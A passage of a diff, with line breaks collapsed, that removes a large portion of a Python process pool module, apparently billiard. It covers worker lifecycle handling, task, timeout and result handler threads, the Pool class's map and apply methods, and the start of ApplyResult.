max_memory_per_child: - warning(MAXMEM_USED_FMT.format( - used_kb, max_memory_per_child)) - return EX_RECYCLE - - debug('worker exiting after %d tasks', completed) - if maxtasks: - return EX_RECYCLE if completed == maxtasks else EX_FAILURE - return EX_OK - finally: - # Before exiting the worker, we want to ensure that that all - # messages produced by the worker have been consumed by the main - # process. This prevents the worker being terminated prematurely - # and messages being lost. - self._ensure_messages_consumed(completed=completed) - - def _ensure_messages_consumed(self, completed): - """ Returns true if all messages sent out have been received and - consumed within a reasonable amount of time """ - - if not self.on_ready_counter: - return False - - for retry in range(GUARANTEE_MESSAGE_CONSUMPTION_RETRY_LIMIT): - if self.on_ready_counter.value >= completed: - debug('ensured messages consumed after %d retries', retry) - return True - time.sleep(GUARANTEE_MESSAGE_CONSUMPTION_RETRY_INTERVAL) - warning('could not ensure all messages were consumed prior to ' - 'exiting') - return False - - def after_fork(self): - if hasattr(self.inq, '_writer'): - self.inq._writer.close() - if hasattr(self.outq, '_reader'): - self.outq._reader.close() - - if self.initializer is not None: - self.initializer(*self.initargs) - - # Make sure all exiting signals call finally: blocks. - # This is important for the semaphore to be released. - reset_signals(full=self.sigprotection) - - # install signal handler for soft timeouts. - if SIG_SOFT_TIMEOUT is not None: - signal.signal(SIG_SOFT_TIMEOUT, soft_timeout_sighandler) - - try: - signal.signal(signal.SIGINT, signal.SIG_IGN) - except AttributeError: - pass - - def _make_recv_method(self, conn): - get = conn.get - - if hasattr(conn, '_reader'): - _poll = conn._reader.poll - if hasattr(conn, 'get_payload') and conn.get_payload: - get_payload = conn.get_payload - - def _recv(timeout, loads=pickle_loads): - return True, loads(get_payload()) - else: - def _recv(timeout): # noqa - if _poll(timeout): - return True, get() - return False, None - else: - def _recv(timeout): # noqa - try: - return True, get(timeout=timeout) - except Queue.Empty: - return False, None - return _recv - - def _make_child_methods(self, loads=pickle_loads): - self.wait_for_job = self._make_protected_receive(self.inq) - self.wait_for_syn = (self._make_protected_receive(self.synq) - if self.synq else None) - - def _make_protected_receive(self, conn): - _receive = self._make_recv_method(conn) - should_shutdown = self._shutdown.is_set if self._shutdown else None - - def receive(debug=debug): - if should_shutdown and should_shutdown(): - debug('worker got sentinel -- exiting') - raise SystemExit(EX_OK) - try: - ready, req = _receive(1.0) - if not ready: - return None - except (EOFError, IOError) as exc: - if get_errno(exc) == errno.EINTR: - return None # interrupted, maybe by gdb - debug('worker got %s -- exiting', type(exc).__name__) - raise SystemExit(EX_FAILURE) - if req is None: - debug('worker got sentinel -- exiting') - raise SystemExit(EX_FAILURE) - return req - - return receive - - -# -# Class representing a process pool -# - - -class PoolThread(DummyProcess): - - def __init__(self, *args, **kwargs): - DummyProcess.__init__(self) - self._state = RUN - self._was_started = False - self.daemon = True - - def run(self): - try: - return self.body() - except RestartFreqExceeded as exc: - error("Thread %r crashed: %r", type(self).__name__, exc, - exc_info=1) - _kill(os.getpid(), TERM_SIGNAL) - sys.exit() - except Exception as exc: - error("Thread %r crashed: %r", type(self).__name__, exc, - exc_info=1) - os._exit(1) - - def start(self, *args, **kwargs): - self._was_started = True - super(PoolThread, self).start(*args, **kwargs) - - def on_stop_not_started(self): - pass - - def stop(self, timeout=None): - if self._was_started: - self.join(timeout) - return - self.on_stop_not_started() - - def terminate(self): - self._state = TERMINATE - - def close(self): - self._state = CLOSE - - -class Supervisor(PoolThread): - - def __init__(self, pool): - self.pool = pool - super().__init__() - - def body(self): - debug('worker handler starting') - - time.sleep(0.8) - - pool = self.pool - - try: - # do a burst at startup to verify that we can start - # our pool processes, and in that time we lower - # the max restart frequency. - prev_state = pool.restart_state - pool.restart_state = restart_state(10 * pool._processes, 1) - for _ in range(10): - if self._state == RUN and pool._state == RUN: - pool._maintain_pool() - time.sleep(0.1) - - # Keep maintaining workers until the cache gets drained, unless - # the pool is terminated - pool.restart_state = prev_state - while self._state == RUN and pool._state == RUN: - pool._maintain_pool() - time.sleep(0.8) - except RestartFreqExceeded: - pool.close() - pool.join() - raise - debug('worker handler exiting') - - -class TaskHandler(PoolThread): - - def __init__(self, taskqueue, put, outqueue, pool, cache): - self.taskqueue = taskqueue - self.put = put - self.outqueue = outqueue - self.pool = pool - self.cache = cache - super().__init__() - - def body(self): - cache = self.cache - taskqueue = self.taskqueue - put = self.put - - for taskseq, set_length in iter(taskqueue.get, None): - task = None - i = -1 - try: - for i, task in enumerate(taskseq): - if self._state: - debug('task handler found thread._state != RUN') - break - try: - put(task) - except IOError: - debug('could not put task on queue') - break - except Exception: - job, ind = task[:2] - try: - cache[job]._set(ind, (False, ExceptionInfo())) - except KeyError: - pass - else: - if set_length: - debug('doing set_length()') - set_length(i + 1) - continue - break - except Exception: - job, ind = task[:2] if task else (0, 0) - if job in cache: - cache[job]._set(ind + 1, (False, ExceptionInfo())) - if set_length: - util.debug('doing set_length()') - set_length(i + 1) - else: - debug('task handler got sentinel') - - self.tell_others() - - def tell_others(self): - outqueue = self.outqueue - put = self.put - pool = self.pool - - try: - # tell result handler to finish when cache is empty - debug('task handler sending sentinel to result handler') - outqueue.put(None) - - # tell workers there is no more work - debug('task handler sending sentinel to workers') - for p in pool: - put(None) - except IOError: - debug('task handler got IOError when sending sentinels') - - debug('task handler exiting') - - def on_stop_not_started(self): - self.tell_others() - - -class TimeoutHandler(PoolThread): - - def __init__(self, processes, cache, t_soft, t_hard): - self.processes = processes - self.cache = cache - self.t_soft = t_soft - self.t_hard = t_hard - self._it = None - super().__init__() - - def _process_by_pid(self, pid): - return next(( - (proc, i) for i, proc in enumerate(self.processes) - if proc.pid == pid - ), (None, None)) - - def on_soft_timeout(self, job): - debug('soft time limit exceeded for %r', job) - process, _index = self._process_by_pid(job._worker_pid) - if not process: - return - - # Run timeout callback - job.handle_timeout(soft=True) - - try: - _kill(job._worker_pid, SIG_SOFT_TIMEOUT) - except OSError as exc: - if get_errno(exc) != errno.ESRCH: - raise - - def on_hard_timeout(self, job): - if job.ready(): - return - debug('hard time limit exceeded for %r', job) - # Remove from cache and set return value to an exception - try: - raise TimeLimitExceeded(job._timeout) - except TimeLimitExceeded: - job._set(job._job, (False, ExceptionInfo())) - else: # pragma: no cover - pass - - # Remove from _pool - process, _index = self._process_by_pid(job._worker_pid) - - # Run timeout callback - job.handle_timeout(soft=False) - - if process: - self._trywaitkill(process) - - def _trywaitkill(self, worker): - debug('timeout: sending TERM to %s', worker._name) - try: - if os.getpgid(worker.pid) == worker.pid: - debug("worker %s is a group leader. It is safe to kill (SIGTERM) the whole group", worker.pid) - os.killpg(os.getpgid(worker.pid), signal.SIGTERM) - else: - worker.terminate() - except OSError: - pass - else: - if worker._popen.wait(timeout=0.1): - return - debug('timeout: TERM timed-out, now sending KILL to %s', worker._name) - try: - if os.getpgid(worker.pid) == worker.pid: - debug("worker %s is a group leader. It is safe to kill (SIGKILL) the whole group", worker.pid) - os.killpg(os.getpgid(worker.pid), signal.SIGKILL) - else: - _kill(worker.pid, SIGKILL) - except OSError: - pass - - def handle_timeouts(self): - t_hard, t_soft = self.t_hard, self.t_soft - dirty = set() - on_soft_timeout = self.on_soft_timeout - on_hard_timeout = self.on_hard_timeout - - def _timed_out(start, timeout): - if not start or not timeout: - return False - if monotonic() >= start + timeout: - return True - - # Inner-loop - while self._state == RUN: - # Perform a shallow copy before iteration because keys can change. - # A deep copy fails (on shutdown) due to thread.lock objects. - # https://github.com/celery/billiard/issues/260 - cache = copy.copy(self.cache) - - # Remove dirty items not in cache anymore - if dirty: - dirty = set(k for k in dirty if k in cache) - - for i, job in cache.items(): - ack_time = job._time_accepted - soft_timeout = job._soft_timeout - if soft_timeout is None: - soft_timeout = t_soft - hard_timeout = job._timeout - if hard_timeout is None: - hard_timeout = t_hard - if _timed_out(ack_time, hard_timeout): - on_hard_timeout(job) - elif i not in dirty and _timed_out(ack_time, soft_timeout): - on_soft_timeout(job) - dirty.add(i) - yield - - def body(self): - while self._state == RUN: - try: - for _ in self.handle_timeouts(): - time.sleep(1.0) # don't spin - except CoroStop: - break - debug('timeout handler exiting') - - def handle_event(self, *args): - if self._it is None: - self._it = self.handle_timeouts() - try: - next(self._it) - except StopIteration: - self._it = None - - -class ResultHandler(PoolThread): - - def __init__(self, outqueue, get, cache, poll, - join_exited_workers, putlock, restart_state, - check_timeouts, on_job_ready, on_ready_counters=None): - self.outqueue = outqueue - self.get = get - self.cache = cache - self.poll = poll - self.join_exited_workers = join_exited_workers - self.putlock = putlock - self.restart_state = restart_state - self._it = None - self._shutdown_complete = False - self.check_timeouts = check_timeouts - self.on_job_ready = on_job_ready - self.on_ready_counters = on_ready_counters - self._make_methods() - super().__init__() - - def on_stop_not_started(self): - # used when pool started without result handler thread. - self.finish_at_shutdown(handle_timeouts=True) - - def _make_methods(self): - cache = self.cache - putlock = self.putlock - restart_state = self.restart_state - on_job_ready = self.on_job_ready - - def on_ack(job, i, time_accepted, pid, synqW_fd): - restart_state.R = 0 - try: - cache[job]._ack(i, time_accepted, pid, synqW_fd) - except (KeyError, AttributeError): - # Object gone or doesn't support _ack (e.g. IMAPIterator). - pass - - def on_ready(job, i, obj, inqW_fd): - if on_job_ready is not None: - on_job_ready(job, i, obj, inqW_fd) - try: - item = cache[job] - except KeyError: - return - - if self.on_ready_counters: - worker_pid = next(iter(item.worker_pids()), None) - if worker_pid and worker_pid in self.on_ready_counters: - on_ready_counter = self.on_ready_counters[worker_pid] - with on_ready_counter.get_lock(): - on_ready_counter.value += 1 - - if not item.ready(): - if putlock is not None: - putlock.release() - try: - item._set(i, obj) - except KeyError: - pass - - def on_death(pid, exitcode): - try: - os.kill(pid, TERM_SIGNAL) - except OSError as exc: - if get_errno(exc) != errno.ESRCH: - raise - - state_handlers = self.state_handlers = { - ACK: on_ack, READY: on_ready, DEATH: on_death - } - - def on_state_change(task): - state, args = task - try: - state_handlers[state](*args) - except KeyError: - debug("Unknown job state: %s (args=%s)", state, args) - self.on_state_change = on_state_change - - def _process_result(self, timeout=1.0): - poll = self.poll - on_state_change = self.on_state_change - - while 1: - try: - ready, task = poll(timeout) - except (IOError, EOFError) as exc: - debug('result handler got %r -- exiting', exc) - raise CoroStop() - - if self._state: - assert self._state == TERMINATE - debug('result handler found thread._state=TERMINATE') - raise CoroStop() - - if ready: - if task is None: - debug('result handler got sentinel') - raise CoroStop() - on_state_change(task) - if timeout != 0: # blocking - break - else: - break - yield - - def handle_event(self, fileno=None, events=None): - if self._state == RUN: - if self._it is None: - self._it = self._process_result(0) # non-blocking - try: - next(self._it) - except (StopIteration, CoroStop): - self._it = None - - def body(self): - debug('result handler starting') - try: - while self._state == RUN: - try: - for _ in self._process_result(1.0): # blocking - pass - except CoroStop: - break - finally: - self.finish_at_shutdown() - - def finish_at_shutdown(self, handle_timeouts=False): - self._shutdown_complete = True - get = self.get - outqueue = self.outqueue - cache = self.cache - poll = self.poll - join_exited_workers = self.join_exited_workers - check_timeouts = self.check_timeouts - on_state_change = self.on_state_change - - time_terminate = None - while cache and self._state != TERMINATE: - if check_timeouts is not None: - check_timeouts() - try: - ready, task = poll(1.0) - except (IOError, EOFError) as exc: - debug('result handler got %r -- exiting', exc) - return - - if ready: - if task is None: - debug('result handler ignoring extra sentinel') - continue - - on_state_change(task) - try: - join_exited_workers(shutdown=True) - except WorkersJoined: - now = monotonic() - if not time_terminate: - time_terminate = now - else: - if now - time_terminate > 5.0: - debug('result handler exiting: timed out') - break - debug('result handler: all workers terminated, ' - 'timeout in %ss', - abs(min(now - time_terminate - 5.0, 0))) - - if hasattr(outqueue, '_reader'): - debug('ensuring that outqueue is not full') - # If we don't make room available in outqueue then - # attempts to add the sentinel (None) to outqueue may - # block. There is guaranteed to be no more than 2 sentinels. - try: - for i in range(10): - if not outqueue._reader.poll(): - break - get() - except (IOError, EOFError): - pass - - debug('result handler exiting: len(cache)=%s, thread._state=%s', - len(cache), self._state) - - -class Pool: - ''' - Class which supports an async version of applying functions to arguments. - ''' - _wrap_exception = True - Worker = Worker - Supervisor = Supervisor - TaskHandler = TaskHandler - TimeoutHandler = TimeoutHandler - ResultHandler = ResultHandler - SoftTimeLimitExceeded = SoftTimeLimitExceeded - - def __init__(self, processes=None, initializer=None, initargs=(), - maxtasksperchild=None, timeout=None, soft_timeout=None, - lost_worker_timeout=None, - max_restarts=None, max_restart_freq=1, - on_process_up=None, - on_process_down=None, - on_timeout_set=None, - on_timeout_cancel=None, - threads=True, - semaphore=None, - putlocks=False, - allow_restart=False, - synack=False, - on_process_exit=None, - context=None, - max_memory_per_child=None, - enable_timeouts=False, - **kwargs): - self._ctx = context or get_context() - self.synack = synack - self._setup_queues() - self._taskqueue = Queue() - self._cache = {} - self._state = RUN - self.timeout = timeout - self.soft_timeout = soft_timeout - self._maxtasksperchild = maxtasksperchild - self._max_memory_per_child = max_memory_per_child - self._initializer = initializer - self._initargs = initargs - self._on_process_exit = on_process_exit - self.lost_worker_timeout = lost_worker_timeout or LOST_WORKER_TIMEOUT - self.on_process_up = on_process_up - self.on_process_down = on_process_down - self.on_timeout_set = on_timeout_set - self.on_timeout_cancel = on_timeout_cancel - self.threads = threads - self.readers = {} - self.allow_restart = allow_restart - - self.enable_timeouts = bool( - enable_timeouts or - self.timeout is not None or - self.soft_timeout is not None - ) - - if soft_timeout and SIG_SOFT_TIMEOUT is None: - warnings.warn(UserWarning( - "Soft timeouts are not supported: " - "on this platform: It does not have the SIGUSR1 signal.", - )) - soft_timeout = None - - self._processes = self.cpu_count() if processes is None else processes - self.max_restarts = max_restarts or round(self._processes * 100) - self.restart_state = restart_state(max_restarts, max_restart_freq or 1) - - if initializer is not None and not callable(initializer): - raise TypeError('initializer must be a callable') - - if on_process_exit is not None and not callable(on_process_exit): - raise TypeError('on_process_exit must be callable') - - self._Process = self._ctx.Process - - self._pool = [] - self._poolctrl = {} - self._on_ready_counters = {} - self.putlocks = putlocks - self._putlock = semaphore or LaxBoundedSemaphore(self._processes) - for i in range(self._processes): - self._create_worker_process(i) - - self._worker_handler = self.Supervisor(self) - if threads: - self._worker_handler.start() - - self._task_handler = self.TaskHandler(self._taskqueue, - self._quick_put, - self._outqueue, - self._pool, - self._cache) - if threads: - self._task_handler.start() - - self.check_timeouts = None - - # Thread killing timedout jobs. - if self.enable_timeouts: - self._timeout_handler = self.TimeoutHandler( - self._pool, self._cache, - self.soft_timeout, self.timeout, - ) - self._timeout_handler_mutex = Lock() - self._timeout_handler_started = False - self._start_timeout_handler() - # If running without threads, we need to check for timeouts - # while waiting for unfinished work at shutdown. - if not threads: - self.check_timeouts = self._timeout_handler.handle_event - else: - self._timeout_handler = None - self._timeout_handler_started = False - self._timeout_handler_mutex = None - - # Thread processing results in the outqueue. - self._result_handler = self.create_result_handler() - self.handle_result_event = self._result_handler.handle_event - - if threads: - self._result_handler.start() - - self._terminate = Finalize( - self, self._terminate_pool, - args=(self._taskqueue, self._inqueue, self._outqueue, - self._pool, self._worker_handler, self._task_handler, - self._result_handler, self._cache, - self._timeout_handler, - self._help_stuff_finish_args()), - exitpriority=15, - ) - - def Process(self, *args, **kwds): - return self._Process(*args, **kwds) - - def WorkerProcess(self, worker): - return worker.contribute_to_object(self.Process(target=worker)) - - def create_result_handler(self, **extra_kwargs): - return self.ResultHandler( - self._outqueue, self._quick_get, self._cache, - self._poll_result, self._join_exited_workers, - self._putlock, self.restart_state, self.check_timeouts, - self.on_job_ready, on_ready_counters=self._on_ready_counters, - **extra_kwargs - ) - - def on_job_ready(self, job, i, obj, inqW_fd): - pass - - def _help_stuff_finish_args(self): - return self._inqueue, self._task_handler, self._pool - - def cpu_count(self): - try: - return cpu_count() - except NotImplementedError: - return 1 - - def handle_result_event(self, *args): - return self._result_handler.handle_event(*args) - - def _process_register_queues(self, worker, queues): - pass - - def _process_by_pid(self, pid): - return next(( - (proc, i) for i, proc in enumerate(self._pool) - if proc.pid == pid - ), (None, None)) - - def get_process_queues(self): - return self._inqueue, self._outqueue, None - - def _create_worker_process(self, i): - sentinel = self._ctx.Event() if self.allow_restart else None - inq, outq, synq = self.get_process_queues() - on_ready_counter = self._ctx.Value('i') - w = self.WorkerProcess(self.Worker( - inq, outq, synq, self._initializer, self._initargs, - self._maxtasksperchild, sentinel, self._on_process_exit, - # Need to handle all signals if using the ipc semaphore, - # to make sure the semaphore is released. - sigprotection=self.threads, - wrap_exception=self._wrap_exception, - max_memory_per_child=self._max_memory_per_child, - on_ready_counter=on_ready_counter, - )) - self._pool.append(w) - self._process_register_queues(w, (inq, outq, synq)) - w.name = w.name.replace('Process', 'PoolWorker') - w.daemon = True - w.index = i - w.start() - self._poolctrl[w.pid] = sentinel - self._on_ready_counters[w.pid] = on_ready_counter - if self.on_process_up: - self.on_process_up(w) - return w - - def process_flush_queues(self, worker): - pass - - def _join_exited_workers(self, shutdown=False): - """Cleanup after any worker processes which have exited due to - reaching their specified lifetime. Returns True if any workers were - cleaned up. - """ - now = None - # The worker may have published a result before being terminated, - # but we have no way to accurately tell if it did. So we wait for - # _lost_worker_timeout seconds before we mark the job with - # WorkerLostError. - for job in [job for job in list(self._cache.values()) - if not job.ready() and job._worker_lost]: - now = now or monotonic() - lost_time, lost_ret = job._worker_lost - if now - lost_time > job._lost_worker_timeout: - self.mark_as_worker_lost(job, lost_ret) - - if shutdown and not len(self._pool): - raise WorkersJoined() - - cleaned, exitcodes = {}, {} - for i in reversed(range(len(self._pool))): - worker = self._pool[i] - exitcode = worker.exitcode - popen = worker._popen - if popen is None or exitcode is not None: - # worker exited - debug('Supervisor: cleaning up worker %d', i) - if popen is not None: - worker.join() - debug('Supervisor: worked %d joined', i) - cleaned[worker.pid] = worker - exitcodes[worker.pid] = exitcode - if exitcode not in (EX_OK, EX_RECYCLE) and \ - not getattr(worker, '_controlled_termination', False): - error( - 'Process %r pid:%r exited with %r', - worker.name, worker.pid, human_status(exitcode), - exc_info=0, - ) - self.process_flush_queues(worker) - del self._pool[i] - del self._poolctrl[worker.pid] - del self._on_ready_counters[worker.pid] - if cleaned: - all_pids = [w.pid for w in self._pool] - for job in list(self._cache.values()): - acked_by_gone = next( - (pid for pid in job.worker_pids() - if pid in cleaned or pid not in all_pids), - None - ) - # already accepted by process - if acked_by_gone: - self.on_job_process_down(job, acked_by_gone) - if not job.ready(): - exitcode = exitcodes.get(acked_by_gone) or 0 - proc = cleaned.get(acked_by_gone) - if proc and getattr(proc, '_job_terminated', False): - job._set_terminated(exitcode) - else: - self.on_job_process_lost( - job, acked_by_gone, exitcode, - ) - else: - # started writing to - write_to = job._write_to - # was scheduled to write to - sched_for = job._scheduled_for - - if write_to and not write_to._is_alive(): - self.on_job_process_down(job, write_to.pid) - elif sched_for and not sched_for._is_alive(): - self.on_job_process_down(job, sched_for.pid) - - for worker in cleaned.values(): - if self.on_process_down: - if not shutdown: - self._process_cleanup_queues(worker) - self.on_process_down(worker) - return list(exitcodes.values()) - return [] - - def on_partial_read(self, job, worker): - pass - - def _process_cleanup_queues(self, worker): - pass - - def on_job_process_down(self, job, pid_gone): - pass - - def on_job_process_lost(self, job, pid, exitcode): - job._worker_lost = (monotonic(), exitcode) - - def mark_as_worker_lost(self, job, exitcode): - try: - raise WorkerLostError( - 'Worker exited prematurely: {0} Job: {1}.'.format( - human_status(exitcode), job._job), - ) - except WorkerLostError: - job._set(None, (False, ExceptionInfo())) - else: # pragma: no cover - pass - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - return self.terminate() - - def on_grow(self, n): - pass - - def on_shrink(self, n): - pass - - def shrink(self, n=1): - for i, worker in enumerate(self._iterinactive()): - self._processes -= 1 - if self._putlock: - self._putlock.shrink() - worker.terminate_controlled() - self.on_shrink(1) - if i >= n - 1: - break - else: - raise ValueError("Can't shrink pool. All processes busy!") - - def grow(self, n=1): - for i in range(n): - self._processes += 1 - if self._putlock: - self._putlock.grow() - self.on_grow(n) - - def _iterinactive(self): - for worker in self._pool: - if not self._worker_active(worker): - yield worker - - def _worker_active(self, worker): - for job in self._cache.values(): - if worker.pid in job.worker_pids(): - return True - return False - - def _repopulate_pool(self, exitcodes): - """Bring the number of pool processes up to the specified number, - for use after reaping workers which have exited. - """ - for i in range(self._processes - len(self._pool)): - if self._state != RUN: - return - try: - if exitcodes and exitcodes[i] not in (EX_OK, EX_RECYCLE): - self.restart_state.step() - except IndexError: - self.restart_state.step() - self._create_worker_process(self._avail_index()) - debug('added worker') - - def _avail_index(self): - assert len(self._pool) < self._processes - indices = set(p.index for p in self._pool) - return next(i for i in range(self._processes) if i not in indices) - - def did_start_ok(self): - return not self._join_exited_workers() - - def _maintain_pool(self): - """"Clean up any exited workers and start replacements for them. - """ - joined = self._join_exited_workers() - self._repopulate_pool(joined) - for i in range(len(joined)): - if self._putlock is not None: - self._putlock.release() - - def maintain_pool(self): - if self._worker_handler._state == RUN and self._state == RUN: - try: - self._maintain_pool() - except RestartFreqExceeded: - self.close() - self.join() - raise - except OSError as exc: - if get_errno(exc) == errno.ENOMEM: - raise MemoryError from exc - raise - - def _setup_queues(self): - self._inqueue = self._ctx.SimpleQueue() - self._outqueue = self._ctx.SimpleQueue() - self._quick_put = self._inqueue._writer.send - self._quick_get = self._outqueue._reader.recv - - def _poll_result(timeout): - if self._outqueue._reader.poll(timeout): - return True, self._quick_get() - return False, None - self._poll_result = _poll_result - - def _start_timeout_handler(self): - # ensure more than one thread does not start the timeout handler - # thread at once. - if self.threads and self._timeout_handler is not None: - with self._timeout_handler_mutex: - if not self._timeout_handler_started: - self._timeout_handler_started = True - self._timeout_handler.start() - - def apply(self, func, args=(), kwds={}): - ''' - Equivalent of `func(*args, **kwargs)`. - ''' - if self._state == RUN: - return self.apply_async(func, args, kwds).get() - - def starmap(self, func, iterable, chunksize=None): - ''' - Like `map()` method but the elements of the `iterable` are expected to - be iterables as well and will be unpacked as arguments. Hence - `func` and (a, b) becomes func(a, b). - ''' - if self._state == RUN: - return self._map_async(func, iterable, - starmapstar, chunksize).get() - - def starmap_async(self, func, iterable, chunksize=None, - callback=None, error_callback=None): - ''' - Asynchronous version of `starmap()` method. - ''' - if self._state == RUN: - return self._map_async(func, iterable, starmapstar, chunksize, - callback, error_callback) - - def map(self, func, iterable, chunksize=None): - ''' - Apply `func` to each element in `iterable`, collecting the results - in a list that is returned. - ''' - if self._state == RUN: - return self.map_async(func, iterable, chunksize).get() - - def imap(self, func, iterable, chunksize=1, lost_worker_timeout=None): - ''' - Equivalent of `map()` -- can be MUCH slower than `Pool.map()`. - ''' - if self._state != RUN: - return - lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout - if chunksize == 1: - result = IMapIterator(self._cache, - lost_worker_timeout=lost_worker_timeout) - self._taskqueue.put(( - ((TASK, (result._job, i, func, (x,), {})) - for i, x in enumerate(iterable)), - result._set_length, - )) - return result - else: - assert chunksize > 1 - task_batches = Pool._get_tasks(func, iterable, chunksize) - result = IMapIterator(self._cache, - lost_worker_timeout=lost_worker_timeout) - self._taskqueue.put(( - ((TASK, (result._job, i, mapstar, (x,), {})) - for i, x in enumerate(task_batches)), - result._set_length, - )) - return (item for chunk in result for item in chunk) - - def imap_unordered(self, func, iterable, chunksize=1, - lost_worker_timeout=None): - ''' - Like `imap()` method but ordering of results is arbitrary. - ''' - if self._state != RUN: - return - lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout - if chunksize == 1: - result = IMapUnorderedIterator( - self._cache, lost_worker_timeout=lost_worker_timeout, - ) - self._taskqueue.put(( - ((TASK, (result._job, i, func, (x,), {})) - for i, x in enumerate(iterable)), - result._set_length, - )) - return result - else: - assert chunksize > 1 - task_batches = Pool._get_tasks(func, iterable, chunksize) - result = IMapUnorderedIterator( - self._cache, lost_worker_timeout=lost_worker_timeout, - ) - self._taskqueue.put(( - ((TASK, (result._job, i, mapstar, (x,), {})) - for i, x in enumerate(task_batches)), - result._set_length, - )) - return (item for chunk in result for item in chunk) - - def apply_async(self, func, args=(), kwds={}, - callback=None, error_callback=None, accept_callback=None, - timeout_callback=None, waitforslot=None, - soft_timeout=None, timeout=None, lost_worker_timeout=None, - callbacks_propagate=(), - correlation_id=None): - ''' - Asynchronous equivalent of `apply()` method. - - Callback is called when the functions return value is ready. - The accept callback is called when the job is accepted to be executed. - - Simplified the flow is like this: - - >>> def apply_async(func, args, kwds, callback, accept_callback): - ... if accept_callback: - ... accept_callback() - ... retval = func(*args, **kwds) - ... if callback: - ... callback(retval) - - ''' - if self._state != RUN: - return - soft_timeout = soft_timeout or self.soft_timeout - timeout = timeout or self.timeout - lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout - if soft_timeout and SIG_SOFT_TIMEOUT is None: - warnings.warn(UserWarning( - "Soft timeouts are not supported: " - "on this platform: It does not have the SIGUSR1 signal.", - )) - soft_timeout = None - if self._state == RUN: - waitforslot = self.putlocks if waitforslot is None else waitforslot - if waitforslot and self._putlock is not None: - self._putlock.acquire() - result = ApplyResult( - self._cache, callback, accept_callback, timeout_callback, - error_callback, soft_timeout, timeout, lost_worker_timeout, - on_timeout_set=self.on_timeout_set, - on_timeout_cancel=self.on_timeout_cancel, - callbacks_propagate=callbacks_propagate, - send_ack=self.send_ack if self.synack else None, - correlation_id=correlation_id, - ) - if timeout or soft_timeout: - # start the timeout handler thread when required. - self._start_timeout_handler() - if self.threads: - self._taskqueue.put(([(TASK, (result._job, None, - func, args, kwds))], None)) - else: - self._quick_put((TASK, (result._job, None, func, args, kwds))) - return result - - def send_ack(self, response, job, i, fd): - pass - - def terminate_job(self, pid, sig=None): - proc, _ = self._process_by_pid(pid) - if proc is not None: - try: - _kill(pid, sig or TERM_SIGNAL) - except OSError as exc: - if get_errno(exc) != errno.ESRCH: - raise - else: - proc._controlled_termination = True - proc._job_terminated = True - - def map_async(self, func, iterable, chunksize=None, - callback=None, error_callback=None): - ''' - Asynchronous equivalent of `map()` method. - ''' - return self._map_async( - func, iterable, mapstar, chunksize, callback, error_callback, - ) - - def _map_async(self, func, iterable, mapper, chunksize=None, - callback=None, error_callback=None): - ''' - Helper function to implement map, starmap and their async counterparts. - ''' - if self._state != RUN: - return - if not hasattr(iterable, '__len__'): - iterable = list(iterable) - - if chunksize is None: - chunksize, extra = divmod(len(iterable), len(self._pool) * 4) - if extra: - chunksize += 1 - if len(iterable) == 0: - chunksize = 0 - - task_batches = Pool._get_tasks(func, iterable, chunksize) - result = MapResult(self._cache, chunksize, len(iterable), callback, - error_callback=error_callback) - self._taskqueue.put((((TASK, (result._job, i, mapper, (x,), {})) - for i, x in enumerate(task_batches)), None)) - return result - - @staticmethod - def _get_tasks(func, it, size): - it = iter(it) - while 1: - x = tuple(itertools.islice(it, size)) - if not x: - return - yield (func, x) - - def __reduce__(self): - raise NotImplementedError( - 'pool objects cannot be passed between processes or pickled', - ) - - def close(self): - debug('closing pool') - if self._state == RUN: - self._state = CLOSE - if self._putlock: - self._putlock.clear() - self._worker_handler.close() - self._taskqueue.put(None) - stop_if_not_current(self._worker_handler) - - def terminate(self): - debug('terminating pool') - self._state = TERMINATE - self._worker_handler.terminate() - self._terminate() - - @staticmethod - def _stop_task_handler(task_handler): - stop_if_not_current(task_handler) - - def join(self): - assert self._state in (CLOSE, TERMINATE) - debug('joining worker handler') - stop_if_not_current(self._worker_handler) - debug('joining task handler') - self._stop_task_handler(self._task_handler) - debug('joining result handler') - stop_if_not_current(self._result_handler) - debug('result handler joined') - for i, p in enumerate(self._pool): - debug('joining worker %s/%s (%r)', i + 1, len(self._pool), p) - if p._popen is not None: # process started? - p.join() - debug('pool join complete') - - def restart(self): - for e in self._poolctrl.values(): - e.set() - - @staticmethod - def _help_stuff_finish(inqueue, task_handler, _pool): - # task_handler may be blocked trying to put items on inqueue - debug('removing tasks from inqueue until task handler finished') - inqueue._rlock.acquire() - while task_handler.is_alive() and inqueue._reader.poll(): - inqueue._reader.recv() - time.sleep(0) - - @classmethod - def _set_result_sentinel(cls, outqueue, pool): - outqueue.put(None) - - @classmethod - def _terminate_pool(cls, taskqueue, inqueue, outqueue, pool, - worker_handler, task_handler, - result_handler, cache, timeout_handler, - help_stuff_finish_args): - - # this is guaranteed to only be called once - debug('finalizing pool') - - worker_handler.terminate() - - task_handler.terminate() - taskqueue.put(None) # sentinel - - debug('helping task handler/workers to finish') - cls._help_stuff_finish(*help_stuff_finish_args) - - # Send the sentinel to the result handler but don't terminate the - # result handler thread. This allows the thread to continue - # processing results in ResultHandler.finish_at_shutdown() until - # the cache is drained, ensuring that all task results are properly - # stored. A call to ResultHandler.terminate() is not necessary here - # because the thread will exit naturally when the cache becomes empty. - cls._set_result_sentinel(outqueue, pool) - - if timeout_handler is not None: - timeout_handler.terminate() - - # Terminate workers which haven't already finished - if pool and hasattr(pool[0], 'terminate'): - debug('terminating workers') - for p in pool: - if p._is_alive(): - p.terminate() - - debug('joining task handler') - cls._stop_task_handler(task_handler) - - debug('joining result handler') - result_handler.stop() - - if timeout_handler is not None: - debug('joining timeout handler') - timeout_handler.stop(TIMEOUT_MAX) - - if pool and hasattr(pool[0], 'terminate'): - debug('joining pool workers') - for p in pool: - if p.is_alive(): - # worker has not yet exited - debug('cleaning up worker %d', p.pid) - if p._popen is not None: - p.join() - debug('pool workers joined') - - if inqueue: - inqueue.close() - if outqueue: - outqueue.close() - - @property - def process_sentinels(self): - return [w._popen.sentinel for w in self._pool] - -# -# Class whose instances are returned by `Pool.apply_async()` -# - - -class ApplyResult: - _worker_lost = None - _write_to = None - _scheduled_for = None - - def __init__(self, cache, callback, accept_callback=None, - timeout_callback=None, error_callback=None, soft_timeout=None, - timeout=None, lost_worker_timeout=LOST_WORKER_TIMEOUT, - on_timeout_set=None, on_timeout_cancel=None, - callbacks_propagate=(), send_ack=None, - correlation_id=None): - self.correlation_id = correlation_id - self._mutex = Lock() - self._event = threading.Event() - self._job = 